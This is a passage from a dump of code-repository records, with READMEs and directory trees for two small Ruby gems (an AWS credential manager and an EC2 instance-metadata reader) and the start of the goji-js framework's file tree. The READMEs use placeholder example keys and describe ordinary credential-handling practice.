gem-aws-creds | {"type": "directory", "name": "gem-aws-creds", "children": [{"type": "file", "name": "aws-creds.gemspec"}, {"type": "directory", "name": "bin", "children": [{"type": "file", "name": "awc"}]}, {"type": "file", "name": "Gemfile"}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "aws", "children": [{"type": "directory", "name": "creds", "children": [{"type": "file", "name": "keypair.rb"}, {"type": "file", "name": "store.rb"}, {"type": "file", "name": "version.rb"}]}, {"type": "file", "name": "creds.rb"}]}]}, {"type": "file", "name": "LICENSE.txt"}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "test_keypairs.rb"}]}]} | # AWS::Creds
AWS::Creds exposes your AWS credentials through a command line utility and a Ruby API.
**As-is:** This project is not actively maintained or supported.
While updates may still be made and we welcome feedback, keep in mind we may not respond to pull requests or issues quickly.
**Let us know!** If you fork this, or if you use it, or if it helps in anyway, we'd love to hear from you! [email protected]
## Why?
There is plenty to get wrong when handling credentials:
- When storing them on disk, only your user should be able to read it. awscreds will raise an exception if its permissions are too broad.
- When passing it to programs, they shouldn't be passed through the command line, or other users can find them through ps.
- When manipulating credentials in a language like Ruby, it should be as hard as possible to leak secrets through logs or traces.
Using command-line AWS tools seemed to be painful as well:
- There seemed to be no simple way to maintain a set of AWS credentials for multiple identities, and pick one quickly.
- Different tools can use different environment variables, or offer different configuration file formats.
We wanted to address this problem with:
- A simple file format and well-known location, that could be easily reimplemented;
- A simple yet flexible Ruby API, so future tools do not need to reinvent the wheel;
- A command-line utility to easily pass the credentials of your choice to command line utilities.
## Installation
Add this line to your application's Gemfile:
gem 'aws-creds'
And then execute:
$ bundle
Or install it yourself as:
$ gem install aws-creds
## Usage
### Storage
Put your AWS credentials in `~/.awscreds`, one line per credentials, with the following colon-separated fields:
- A name for your credentials (the magic name "default" will be picked unless specified otherwise)
- The Access Key ID (20 characters, alphanumeric)
- The Secret Access Key (40 characters)
For example:
default:AKIAIOSFODNNDEADBEEF:WT8ftNba7siVx5UOoGzJSyd82uNCZAC8LCllzcWp
admin:AKIAIOO432MG8BADF00D:T60q14wrbyxl3Ed13VOFA/2G+nvJR/jgHC42jIH1
### Command-line utility
`awc --help` should guide you.
To list the available credentials, use `-l`:
$ awc -li admin
default
*admin
To call `myscript put` and provide it with credentials, use:
$ awc myscript put
Its effects can easily be inspected:
$ awc -i admin env | grep AWS
AWS_ACCESS_KEY=AKIAIOO432MG8BADF00D
AWSAccessKeyId=AKIAIOO432MG8BADF00D
AWS_ACCESS_KEY_ID=AKIAIOO432MG8BADF00D
AWS_SECRET_KEY=T60q14wrbyxl3Ed13VOFA/2G+nvJR/jgHC42jIH1
AWSSecretKey=T60q14wrbyxl3Ed13VOFA/2G+nvJR/jgHC42jIH1
AWS_SECRET_ACCESS_KEY=T60q14wrbyxl3Ed13VOFA/2G+nvJR/jgHC42jIH1
### Ruby API
The Ruby gem should be easy to use (feedback is obviously welcome).
Documentation could be improved; in the meantime, here is a simple example:
require 'aws/creds'
require 'aws'
creds = AWS::Creds[:default]
STDERR.puts "Using access key #{creds.access_key_id}"
AWS.config creds.to_hash
## Contributing
1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
gem-aws-instmd | {"type": "directory", "name": "gem-aws-instmd", "children": [{"type": "file", "name": "aws-instmd.gemspec"}, {"type": "directory", "name": "bin", "children": [{"type": "file", "name": "awsinstmd"}]}, {"type": "file", "name": "Gemfile"}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "aws", "children": [{"type": "directory", "name": "instmd", "children": [{"type": "file", "name": "version.rb"}]}, {"type": "file", "name": "instmd.rb"}]}]}, {"type": "file", "name": "LICENSE.txt"}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}]} | # AWS::InstMD
AWS::InstMD exposes the instance metadata information through a Ruby API.
**As-is:** This project is not actively maintained or supported.
While updates may still be made and we welcome feedback, keep in mind we may not respond to pull requests or issues quickly.
**Let us know!** If you fork this, or if you use it, or if it helps in anyway, we'd love to hear from you! [email protected]
## Why?
169.254.169.254 does not offer a simple view of the whole instance metadata,
and querying the whole tree can be a bit quirky.
We wanted to solve that problem once and for all, expose it in a straightforward
and maintainable way.
## Installation
Add this line to your application's Gemfile:
gem 'aws-instmd'
And then execute:
$ bundle
Or install it yourself as:
$ gem install aws-instmd
## Usage
### Command-line utility
`awsinstmd` will dump the metadata in JSON.
### Ruby API
The Ruby gem should be easy to use (feedback is obviously welcome).
Documentation should be improved; in the meantime, here is a simple example:
require 'aws/instmd'
puts AWS::InstMD.meta_data.instance_id
puts AWS::InstMD.meta_data.instance_type
## Contributing
1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
goji-js | {"type": "directory", "name": "goji-js", "children": [{"type": "directory", "name": ".config", "children": [{"type": "file", "name": "beemo.ts"}]}, {"type": "file", "name": ".npmignore"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "packages", "children": [{"type": "directory", "name": "beemo-dev", "children": [{"type": "directory", "name": "configs", "children": [{"type": "file", "name": "babel.ts"}, {"type": "file", "name": "eslint.ts"}, {"type": "file", "name": "jest.ts"}, {"type": "file", "name": "lerna.ts"}, {"type": "file", "name": "prettier.ts"}]}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "jestBabelTransform.js"}, {"type": "file", "name": "jestFileMock.js"}]}]}, {"type": "directory", "name": "cli", "children": [{"type": "directory", "name": "bin", "children": [{"type": "file", "name": "goji.js"}]}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "argv.ts"}, {"type": "directory", "name": "config", "children": [{"type": "file", "name": "babel.config.ts"}, {"type": "file", "name": "fixBabelLoaderForMacro.ts"}, {"type": "file", "name": "linaria.config.ts"}, {"type": "file", "name": "linariaFileCache.ts"}, {"type": "file", "name": "loaders.ts"}, {"type": "file", "name": "postcssConfig.ts"}, {"type": "file", "name": "postcssLinariaPreprocessor.ts"}, {"type": "file", "name": "postcssTransformUnit.ts"}, {"type": "file", "name": "webpack.config.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "postcssLinariaPreprocessor.test.ts"}, {"type": "file", "name": "postcssTransformUnit.test.ts"}, {"type": "directory", "name": "__snapshots__", "children": [{"type": "file", "name": "postcssLinariaPreprocessor.test.ts.snap"}, {"type": "file", "name": "postcssTransformUnit.test.ts.snap"}]}]}]}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "fixSerializationWarning.ts"}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "argv.test.ts"}]}]}, {"type": "file", "name": "tsconfig.json"}]}, {"type": "directory", "name": "core", "children": [{"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "adaptor", "children": [{"type": "file", "name": "common.ts"}, {"type": "file", "name": "index.ts"}, {"type": "file", "name": "wechat.tsx"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "common.test.ts"}, {"type": "file", "name": "index.test.ts"}, {"type": "file", "name": "wechat.test.tsx"}, {"type": "directory", "name": "__snapshots__", "children": [{"type": "file", "name": "wechat.test.tsx.snap"}]}]}]}, {"type": "directory", "name": "components", "children": [{"type": "file", "name": "componentsTypes.ts"}, {"type": "file", "name": "container.tsx"}, {"type": "file", "name": "eventProxy.tsx"}, {"type": "file", "name": "factoryComponents.ts"}, {"type": "file", "name": "index.tsx"}, {"type": "file", "name": "subtree.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "eventProxy.test.tsx"}, {"type": "file", "name": "factoryComponents.test.ts"}]}]}, {"type": "file", "name": "constants.ts"}, {"type": "file", "name": "container.tsx"}, {"type": "file", "name": "events.ts"}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "lifecycles", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "native", "children": [{"type": "file", "name": "hooks.ts"}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "hooks.test.tsx"}, {"type": "directory", "name": "__snapshots__", "children": [{"type": "file", "name": "hooks.test.tsx.snap"}]}]}]}, {"type": "file", "name": "types.ts"}, {"type": "directory", "name": "universal", "children": [{"type": "file", "name": "context.ts"}, {"type": "file", "name": "hooks.ts"}, {"type": "file", "name": "index.ts"}, {"type": "file", "name": "provider.tsx"}, {"type": "file", "name": "renderedEffect.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "hooks.test.tsx"}, {"type": "file", "name": "renderedEffect.test.tsx"}]}]}]}, {"type": "directory", "name": "partial", "children": [{"type": "file", "name": "index.tsx"}]}, {"type": "file", "name": "patchGlobalObject.ts"}, {"type": "directory", "name": "portal", "children": [{"type": "file", "name": "context.ts"}, {"type": "file", "name": "index.tsx"}, {"type": "file", "name": "provider.tsx"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "index.test.tsx"}]}]}, {"type": "directory", "name": "reconciler", "children": [{"type": "file", "name": "hostConfig.ts"}, {"type": "file", "name": "hostConfigTypes.ts"}, {"type": "file", "name": "index.ts"}, {"type": "file", "name": "instance.ts"}, {"type": "file", "name": "publicInstance.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "commitMount.test.tsx"}, {"type": "file", "name": "getSubtreeId.noSubtree.test.tsx"}, {"type": "file", "name": "getSubtreeId.test.tsx"}, {"type": "file", "name": "instance.test.tsx"}, {"type": "directory", "name": "__snapshots__", "children": [{"type": "file", "name": "commitMount.test.tsx.snap"}]}]}]}, {"type": "file", "name": "render.ts"}, {"type": "file", "name": "subtreeAttachEvents.ts"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "diff.ts"}, {"type": "file", "name": "effects.ts"}, {"type": "file", "name": "eventChannel.ts"}, {"type": "file", "name": "id.ts"}, {"type": "file", "name": "merge.ts"}, {"type": "file", "name": "pascalCase.ts"}, {"type": "file", "name": "shallowEqual.ts"}, {"type": "file", "name": "simplify.ts"}, {"type": "file", "name": "styleAttrStringify.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "diff.test.ts"}, {"type": "file", "name": "effects.test.ts"}, {"type": "file", "name": "eventChannel.test.ts"}, {"type": "file", "name": "merge.test.ts"}, {"type": "file", "name": "pascalCase.test.ts"}, {"type": "file", "name": "shallowEqual.test.ts"}, {"type": "file", "name": "styleAttrStringify.test.ts"}]}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "container.test.tsx"}, {"type": "directory", "name": "helpers", "children": [{"type": "file", "name": "adaptor.ts"}, {"type": "file", "name": "index.ts"}]}, {"type": "directory", "name": "testUtils", "children": [{"type": "file", "name": "act.ts"}, {"type": "file", "name": "forks.ts"}]}, {"type": "file", "name": "updates.test.tsx"}]}]}, {"type": "file", "name": "tsconfig.json"}]}, {"type": "directory", "name": "create-goji-app", "children": [{"type": "directory", "name": "bin", "children": [{"type": "file", "name": "create-goji-app.js"}]}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "generator.ts"}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "index.test.ts"}]}]}, {"type": "directory", "name": "templates", "children": [{"type": "file", "name": "goji.config.js"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "app.config.ts"}, {"type": "file", "name": "app.css"}, {"type": "file", "name": "app.ts"}, {"type": "directory", "name": "pages", "children": [{"type": "directory", "name": "index", "children": [{"type": "file", "name": "index.config.ts"}, {"type": "file", "name": "index.css"}, {"type": "file", "name": "index.tsx"}]}]}, {"type": "file", "name": "project.config.json"}, {"type": "file", "name": "project.qq.json"}, {"type": "file", "name": "project.swan.json"}, {"type": "file", "name": "project.toutiao.json"}]}, {"type": "file", "name": "tsconfig.json"}]}, {"type": "file", "name": "tsconfig.json"}]}, {"type": "directory", "name": "demo-todomvc", "children": [{"type": "directory", "name": ".linaria-cache", "children": [{"type": "directory", "name": "packages", "children": [{"type": "directory", "name": "demo-todomvc", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "pages", "children": [{"type": "directory", "name": "index", "children": [{"type": "file", "name": "index.linaria.css"}]}]}]}]}]}]}, {"type": "file", "name": "goji.config.js"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "app.config.ts"}, {"type": "file", "name": "app.css"}, {"type": "file", "name": "app.ts"}, {"type": "directory", "name": "components", "children": [{"type": "file", "name": "Checkbox.css"}, {"type": "file", "name": "Checkbox.tsx"}, {"type": "file", "name": "Footer.css"}, {"type": "file", "name": "Footer.tsx"}, {"type": "file", "name": "Link.css"}, {"type": "file", "name": "Link.tsx"}, {"type": "file", "name": "MainSection.css"}, {"type": "file", "name": "MainSection.tsx"}, {"type": "file", "name": "TodoItem.css"}, {"type": "file", "name": "TodoItem.tsx"}, {"type": "file", "name": "TodoList.tsx"}, {"type": "file", "name": "TodoTextInput.css"}, {"type": "file", "name": "TodoTextInput.tsx"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "Footer.test.tsx"}, {"type": "file", "name": "TodoTextInput.test.tsx"}]}]}, {"type": "directory", "name": "duck", "children": [{"type": "file", "name": "todo.ts"}]}, {"type": "directory", "name": "pages", "children": [{"type": "directory", "name": "index", "children": [{"type": "file", "name": "index.config.ts"}, {"type": "file", "name": "index.tsx"}]}]}, {"type": "file", "name": "project.config.json"}, {"type": "file", "name": "project.qq.json"}, {"type": "file", "name": "project.swan.json"}, {"type": "file", "name": "project.toutiao.json"}, {"type": "directory", "name": "swan-sitemap", "children": [{"type": "file", "name": "index.tsx"}]}]}, {"type": "file", "name": "tsconfig.json"}]}, {"type": "directory", "name": "demo-todomvc-linaria", "children": [{"type": "file", "name": "goji.config.js"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "app.config.ts"}, {"type": "file", "name": "app.css"}, {"type": "file", "name": "app.ts"}, {"type": "directory", "name": "components", "children": [{"type": "file", "name": "Checkbox.tsx"}, {"type": "file", "name": "Footer.tsx"}, {"type": "file", "name": "Link.tsx"}, {"type": "file", "name": "MainSection.tsx"}, {"type": "file", "name": "TodoItem.tsx"}, {"type": "file", "name": "TodoList.tsx"}, {"type": "file", "name": "TodoTextInput.tsx"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "Footer.test.tsx"}, {"type": "file", "name": "TodoTextInput.test.tsx"}]}]}, {"type": "directory", "name": "duck", "children": [{"type": "file", "name": "todo.ts"}]}, {"type": "directory", "name": "pages", "children": [{"type": "directory", "name": "index", "children": [{"type": "file", "name": "index.config.ts"}, {"type": "file", "name": "index.tsx"}]}]}, {"type": "file", "name": "project.config.json"}, {"type": "file", "name": "project.qq.json"}, {"type": "file", "name": "project.swan.json"}, {"type": "file", "name": "project.toutiao.json"}]}, {"type": "file", "name": "tsconfig.json"}]}, {"type": "directory", "name": "goji.js.org", "children": [{"type": "file", "name": "babel.config.js"}, {"type": "directory", "name": "blog", "children": [{"type": "file", "name": "2020-09-23-gojijs-from-airbnb.md"}, {"type": "file", "name": "2022-02-22-gojijs-v1.md"}, {"type": "file", "name": "authors.yml"}]}, {"type": "file", "name": "crowdin.yml"}, {"type": "directory", "name": "docs", "children": [{"type": "directory", "name": "advanced", "children": [{"type": "file", "name": "config.md"}, {"type": "file", "name": "css-in-js.md"}, {"type": "file", "name": "css.md"}, {"type": "file", "name": "plugins.md"}, {"type": "file", "name": "sub-packages.md"}, {"type": "file", "name": "testing.md"}, {"type": "file", "name": "_category_.json"}]}, {"type": "directory", "name": "faq", "children": [{"type": "file", "name": "faq.md"}, {"type": "file", "name": "_category_.json"}]}, {"type": "directory", "name": "get-started", "children": [{"type": "file", "name": "introduction.md"}, {"type": "file", "name": "preparation.md"}, {"type": "file", "name": "setup.md"}, {"type": "file", "name": "_category_.json"}]}, {"type": "directory", "name": "guide", "children": [{"type": "file", "name": "app.md"}, {"type": "file", "name": "cross-platform.md"}, {"type": "file", "name": "hooks.md"}, {"type": "file", "name": "lifecycle.md"}, {"type": "file", "name": "page.md"}, {"type": "file", "name": "ref.md"}, {"type": "file", "name": "_category_.json"}]}]}, {"type": "file", "name": "docusaurus.config.js"}, {"type": "directory", "name": "i18n", "children": [{"type": "directory", "name": "en", "children": [{"type": "file", "name": "code.json"}, {"type": "directory", "name": "docusaurus-plugin-content-blog", "children": [{"type": "file", "name": "options.json"}]}, {"type": "directory", "name": "docusaurus-plugin-content-docs", "children": [{"type": "file", "name": "current.json"}]}, {"type": "directory", "name": "docusaurus-theme-classic", "children": [{"type": "file", "name": "footer.json"}, {"type": "file", "name": "navbar.json"}]}]}, {"type": "directory", "name": "zh", "children": [{"type": "file", "name": "code.json"}, {"type": "directory", "name": "docusaurus-plugin-content-blog", "children": [{"type": "file", "name": "2020-09-23-gojijs-from-airbnb.md"}, {"type": "file", "name": "2022-02-22-gojijs-v1.md"}, {"type": "file", "name": "authors.yml"}, {"type": "file", "name": "options.json"}]}, {"type": "directory", "name": "docusaurus-plugin-content-docs", "children": [{"type": "directory", "name": "current", "children": [{"type": "directory", "name": "advanced", "children": [{"type": "file", "name": "config.md"}, {"type": "file", "name": "css-in-js.md"}, {"type": "file", "name": "css.md"}, {"type": "file", "name": "plugins.md"}, {"type": "file", "name": "sub-packages.md"}, {"type": "file", "name": "testing.md"}, {"type": "file", "name": "_category_.json"}]}, {"type": "directory", "name": "faq", "children": [{"type": "file", "name": "faq.md"}, {"type": "file", "name": "_category_.json"}]}, {"type": "directory", "name": "get-started", "children": [{"type": "file", "name": "introduction.md"}, {"type": "file", "name": "preparation.md"}, {"type": "file", "name": "setup.md"}, {"type": "file", "name": "_category_.json"}]}, {"type": "directory", "name": "guide", "children": [{"type": "file", "name": "app.md"}, {"type": "file", "name": "cross-platform.md"}, {"type": "file", "name": "hooks.md"}, {"type": "file", "name": "lifecycle.md"}, {"type": "file", "name": "page.md"}, {"type": "file", "name": "ref.md"}, {"type": "file", "name": "_category_.json"}]}]}, {"type": "file", "name": "current.json"}]}, {"type": "directory", "name": "docusaurus-theme-classic", "children": [{"type": "file", "name": "footer.json"}, {"type": "file", "name": "navbar.json"}]}]}]}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "sidebars.js"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "components", "children": [{"type": "directory", "name": "HomepageFeatures", "children": [{"type": "file", "name": "index.tsx"}, {"type": "file", "name": "styles.module.css"}]}]}, {"type": "directory", "name": "css", "children": [{"type": "file", "name": "custom.css"}]}, {"type": "directory", "name": "pages", "children": [{"type": "file", "name": "index.module.css"}, {"type": "file", "name": "index.tsx"}, {"type": "file", "name": "markdown-page.md"}]}]}, {"type": "directory", "name": "static", "children": [{"type": "file", "name": ".nojekyll"}, {"type": "file", "name": "CNAME"}, {"type": "directory", "name": "img", "children": [{"type": "file", "name": "favicon.ico"}, {"type": "file", "name": "logo.svg"}, {"type": "directory", "name": "tutorial", "children": []}, {"type": "file", "name": "undraw_docusaurus_mountain.svg"}, {"type": "file", "name": "undraw_docusaurus_react.svg"}, {"type": "file", "name": "undraw_docusaurus_tree.svg"}, {"type": "file", "name": "undraw_operating_system.svg"}, {"type": "file", "name": "undraw_react.svg"}]}]}, {"type": "file", "name": "tsconfig.json"}]}, {"type": "directory", "name": "macro", "children": [{"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.ts"}, {"type": "file", "name": "registerPluginComponent.ts"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "transformObjectASTToObject.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "transformObjectASTToObject.test.ts"}]}]}]}, {"type": "file", "name": "tsconfig.json"}]}, {"type": "directory", "name": "testing-library", "children": [{"type": "file", "name": "package.json"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "events.ts"}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "queries", "children": [{"type": "file", "name": "any.ts"}, {"type": "file", "name": "prop.ts"}, {"type": "file", "name": "testId.ts"}, {"type": "file", "name": "text.ts"}]}, {"type": "file", "name": "rendered.ts"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "prettyPrint.ts"}, {"type": "file", "name": "queryHelpers.ts"}, {"type": "file", "name": "toJson.ts"}]}, {"type": "file", "name": "wait.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "events.test.tsx"}, {"type": "file", "name": "index.test.tsx"}, {"type": "directory", "name": "queries", "children": [{"type": "file", "name": "testId.test.tsx"}, {"type": "file", "name": "text.test.tsx"}]}, {"type": "file", "name": "rendered.test.tsx"}, {"type": "file", "name": "wait.test.tsx"}, {"type": "directory", "name": "__snapshots__", "children": [{"type": "file", "name": "rendered.test.tsx.snap"}]}]}]}, {"type": "file", "name": "tsconfig.json"}]}, {"type": "directory", "name": "webpack-plugin", "children": [{"type": "file", "name": "package.json"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "constants", "children": [{"type": "file", "name": "components.ts"}, {"type": "file", "name": "features.ts"}, {"type": "file", "name": "paths.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "components.test.ts"}]}]}, {"type": "directory", "name": "forked", "children": [{"type": "file", "name": "providePlugin.ts"}, {"type": "file", "name": "splitChunksPlugin.ts"}]}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "loaders", "children": [{"type": "file", "name": "configFile.ts"}, {"type": "file", "name": "transform.ts"}]}, {"type": "directory", "name": "plugins", "children": [{"type": "file", "name": "based.ts"}, {"type": "file", "name": "bridge.ts"}, {"type": "directory", "name": "chunks", "children": [{"type": "file", "name": "runtime.ts"}, {"type": "file", "name": "split.ts"}]}, {"type": "file", "name": "collectUsedComponents.ts"}, {"type": "file", "name": "entry.ts"}, {"type": "file", "name": "nohoist.ts"}, {"type": "file", "name": "projectConfig.ts"}, {"type": "file", "name": "runtime.ts"}, {"type": "directory", "name": "shim", "children": [{"type": "file", "name": "global.ts"}, {"type": "file", "name": "index.ts"}, {"type": "file", "name": "meta.ts"}, {"type": "directory", "name": "patches", "children": [{"type": "file", "name": "array.ts"}, {"type": "file", "name": "arrayBuffer.ts"}, {"type": "file", "name": "function.ts"}, {"type": "file", "name": "getCurrentPages.ts"}, {"type": "file", "name": "index.ts"}, {"type": "file", "name": "number.ts"}, {"type": "file", "name": "promise.ts"}, {"type": "file", "name": "string.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "array.test.ts"}, {"type": "file", "name": "function.test.ts"}, {"type": "file", "name": "getCurrentPages.test.ts"}, {"type": "file", "name": "promise.test.ts"}, {"type": "file", "name": "string.test.ts"}]}]}, {"type": "file", "name": "variable.ts"}]}, {"type": "file", "name": "singleton.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "based.test.ts"}, {"type": "directory", "name": "fixtures", "children": [{"type": "directory", "name": "hoist", "children": [{"type": "file", "name": "goji.config.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "app.config.ts"}, {"type": "file", "name": "app.css"}, {"type": "file", "name": "app.ts"}, {"type": "directory", "name": "packageA", "children": [{"type": "directory", "name": "pages", "children": [{"type": "file", "name": "another.tsx"}, {"type": "file", "name": "index.css"}, {"type": "file", "name": "index.tsx"}, {"type": "file", "name": "internalA.ts"}, {"type": "file", "name": "sharedAB.ts"}]}]}, {"type": "directory", "name": "packageB", "children": [{"type": "directory", "name": "pages", "children": [{"type": "file", "name": "another.tsx"}, {"type": "file", "name": "index.css"}, {"type": "file", "name": "index.tsx"}, {"type": "file", "name": "sharedABI.ts"}]}]}, {"type": "directory", "name": "packageIndependent", "children": [{"type": "directory", "name": "pages", "children": [{"type": "file", "name": "another.tsx"}, {"type": "file", "name": "index.css"}, {"type": "file", "name": "index.tsx"}, {"type": "file", "name": "sharedI.ts"}]}]}, {"type": "directory", "name": "pages", "children": [{"type": "directory", "name": "index", "children": [{"type": "file", "name": "index.config.ts"}, {"type": "file", "name": "index.css"}, {"type": "file", "name": "index.tsx"}]}]}, {"type": "file", "name": "project.config.json"}, {"type": "file", "name": "project.qq.json"}, {"type": "file", "name": "project.swan.json"}, {"type": "file", "name": "project.toutiao.json"}, {"type": "file", "name": "sharedOnlyTop.ts"}, {"type": "file", "name": "sharedTop.ts"}]}, {"type": "file", "name": "tsconfig.json"}]}]}, {"type": "file", "name": "hoist.test.ts"}, {"type": "file", "name": "runtime.test.ts"}]}]}, {"type": "directory", "name": "shared", "children": [{"type": "file", "name": "index.ts"}]}, {"type": "directory", "name": "templates", "children": [{"type": "directory", "name": "commons", "children": [{"type": "file", "name": "nativeComponentJson.ts"}, {"type": "file", "name": "wrapped.ts"}, {"type": "file", "name": "wxmlElement.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "nativeComponentJson.test.ts"}, {"type": "file", "name": "wxmlElement.test.ts"}]}]}, {"type": "directory", "name": "components", "children": [{"type": "file", "name": "children.wxml.ts"}, {"type": "directory", "name": "components.wxml", "children": [{"type": "file", "name": "flatten.tsx"}, {"type": "file", "name": "index.tsx"}]}, {"type": "file", "name": "item.json.ts"}, {"type": "file", "name": "item.wxml.ts"}, {"type": "file", "name": "leaf-components.wxml.ts"}, {"type": "file", "name": "subtree.js.ts"}, {"type": "file", "name": "subtree.json.ts"}, {"type": "file", "name": "subtree.wxml.ts"}, {"type": "file", "name": "wrapped.js.ts"}, {"type": "file", "name": "wrapped.json.ts"}, {"type": "file", "name": "wrapped.wxml.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "children.wxml.test.tsx"}, {"type": "file", "name": "components.wxml.test.tsx"}, {"type": "file", "name": "leaf-components.wxml.test.tsx"}, {"type": "file", "name": "wrapped.js.test.tsx"}, {"type": "directory", "name": "__snapshots__", "children": [{"type": "file", "name": "children.wxml.test.tsx.snap"}, {"type": "file", "name": "wrapped.js.test.tsx.snap"}]}]}]}, {"type": "directory", "name": "helpers", "children": [{"type": "file", "name": "context.ts"}, {"type": "file", "name": "ids.ts"}, {"type": "file", "name": "t.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "context.test.ts"}, {"type": "file", "name": "t.test.ts"}]}]}, {"type": "file", "name": "index.ts"}]}, {"type": "directory", "name": "types", "children": [{"type": "file", "name": "index.ts"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "chunkName.ts"}, {"type": "file", "name": "components.ts"}, {"type": "file", "name": "config.ts"}, {"type": "file", "name": "loadConfig.ts"}, {"type": "file", "name": "minimize.ts"}, {"type": "file", "name": "path.ts"}, {"type": "file", "name": "pluginComponent.ts"}, {"type": "file", "name": "polling.ts"}, {"type": "directory", "name": "render", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "wxmlToSwan", "children": [{"type": "file", "name": "index.ts"}, {"type": "file", "name": "plugins.ts"}, {"type": "file", "name": "render.ts"}]}]}, {"type": "file", "name": "transformExtension.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "components.test.ts"}, 